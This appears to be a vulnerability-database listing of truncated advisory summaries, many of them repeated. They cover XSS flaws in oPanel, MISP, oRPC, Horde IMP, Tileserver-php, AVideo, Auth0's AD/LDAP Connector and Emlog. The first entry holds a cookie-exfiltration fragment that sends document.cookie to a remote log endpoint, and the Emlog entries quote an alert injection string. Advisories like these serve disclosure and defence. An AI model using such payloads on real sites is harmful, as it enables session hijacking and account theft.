CVE-2026-50980

CVE-2026-50980: oPanel의 DNS 기반 크로스 사이트 스크립팅XSS 및 세션 하이재킹 개요 CVE ID: CVE-2026-50980 제품: oPanel 영향받는 버전: new Image.src='http://:/log?cookie='+document.cookie;...

CVE-2026-104906

The MISP platform contains a cross-site scripting (XSS) vulnerability in the TAXII object viewer (versions

CVE-2026-104906 MISP TAXII Object Viewer Stored XSS via Unescaped JSON Output

MISP contains a cross-site scripting XSS vulnerability in the TAXII object viewer. When displaying a remote TAXII object, the JSON content of string properties was rendered directly into an HTML pre block without HTML-encoding. An attacker who can control or influence the content of a TAXII objec...

CVE-2026-33331

CVE-2026-33331 — oRPC OpenAPI Reference Plugin における格納型XSS orpc の OpenAPI ドキュメント生成における格納型XSSの概念実証ラボ 目的 oRPC は OpenAPI 仕様から API ドキュメントページを構築します。v1.13.9 より前のバージョンでは、JSON.stringify を使用して HTML エンコードなしで仕様を直接 タグに出力していました。攻撃者が制御できる info.description などのフィールドは、そのタグを早期に閉じてスクリプトを実行できました。...

CVE-2025-30349

Horde IMP の脆弱性 – HTML エンコーディングによる難読化 – XSS ペイロード Horde 5.2.23; IMP 6.2.27 脆弱性の詳細は Details.md ファイルで説明されています。 PoC は、脆弱性を悪用するペイロードを含むメールを作成し、受信者に送信します。この種のメールは、Horde Web クライアントで表示する必要があります（デスクトップクライアントなどの他のクライアントでは表示できません）。...

CVE-2025-44136

CVE-2025-44136 MapTiler Tileserver-php v2.0における認証不要のXSS 説明 MapTiler Tileserver-php v2.0はクロスサイトスクリプティング（XSS）に対して脆弱です。GETパラメータ「layer」がHTMLエンコードされずにエラーメッセージに反映されます。これによりXSSが発生し、認証されていない攻撃者が被害者のブラウザ上で任意のHTMLまたはJavaScriptコードを実行できるようになります。...

CVE-2026-89255

AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the LoginControl plugin that fails to HTML-encode PGP public keys echoed into a textarea element. An authenticated attacker can inject malicious JavaScript by submitting a crafte...

CVE-2026-89244

WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in plugin/Gallery/view/Category.php when SubCategorys is enabled. The getBackURL parameter is echoed into an href attribute without HTML encoding, allowing attackers to inje...

CVE-2026-89244 WWBN AVideo Reflected XSS via Gallery Category getBackURL

WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a reflected cross-site scripting vulnerability in plugin/Gallery/view/Category.php when SubCategorys is enabled. The getBackURL parameter is echoed into an href attribute without HTML encoding, allowing attackers to inje...

CVE-2026-89244

WWBN AVideo through commit c3edcc27 contains a reflected XSS in plugin/Gallery/view/Category.php when the SubCategories feature is enabled. The getBackURL parameter is echoed into an href attribute without HTML encoding, allowing an attacker to inject a script that executes in a visitor's browser...

PT-2026-89858

AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the LoginControl plugin that fails to HTML-encode PGP public keys echoed into a textarea element. An authenticated attacker can inject malicious JavaScript by submitting a crafte...

CVE-2026-85982

The Auth0 AD/LDAP Connector is vulnerable to stored Cross-Site Scripting XSS issues due to improper HTML encoding of data in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes, or a low-privileged local user on...

CVE-2026-85982

The Auth0 AD/LDAP Connector is affected by a stored Cross-Site Scripting (XSS) vulnerability caused by improper HTML encoding in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes—or a low-privileged local user...

EUVD-2026-74186

The Auth0 AD/LDAP Connector is vulnerable to stored Cross-Site Scripting XSS issues due to improper HTML encoding of data in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes, or a low-privileged local user on...

CVE-2026-85982 Stored Cross-Site Scripting (XSS) in Auth0 AD/LDAP Connector

The Auth0 AD/LDAP Connector is vulnerable to stored Cross-Site Scripting XSS issues due to improper HTML encoding of data in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes, or a low-privileged local user on...

CVE-2026-85982 Stored Cross-Site Scripting (XSS) in Auth0 AD/LDAP Connector

The Auth0 AD/LDAP Connector is vulnerable to stored Cross-Site Scripting XSS issues due to improper HTML encoding of data in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes, or a low-privileged local user on...

PT-2026-88455

The Auth0 AD/LDAP Connector is vulnerable to stored Cross-Site Scripting XSS issues due to improper HTML encoding of data in search results and updater log content displayed in the admin panel. An authenticated user with privileges to modify directory attributes, or a low-privileged local user on...

CVE-2026-73848

Emlog is an open source website building system. In versions 2.6.29 and prior, tag names in emlog are not HTML-encoded when rendered in the article editor. An attacker can create a tag containing ';alertdocument.domain;//. The addslashes function does not escape HTML entities, so ' is stored as-i...

CVE-2026-73848 Emlog: Stored XSS via Tag Name in Article Editor

Emlog is an open source website building system. In versions 2.6.29 and prior, tag names in emlog are not HTML-encoded when rendered in the article editor. An attacker can create a tag containing ';alertdocument.domain;//. The addslashes function does not escape HTML entities, so ' is stored as-i...

EUVD-2026-71626

Emlog is an open source website building system. In versions 2.6.29 and prior, tag names in emlog are not HTML-encoded when rendered in the article editor. An attacker can create a tag containing ';alertdocument.domain;//. The addslashes function does not escape HTML entities, so ' is stored as-i...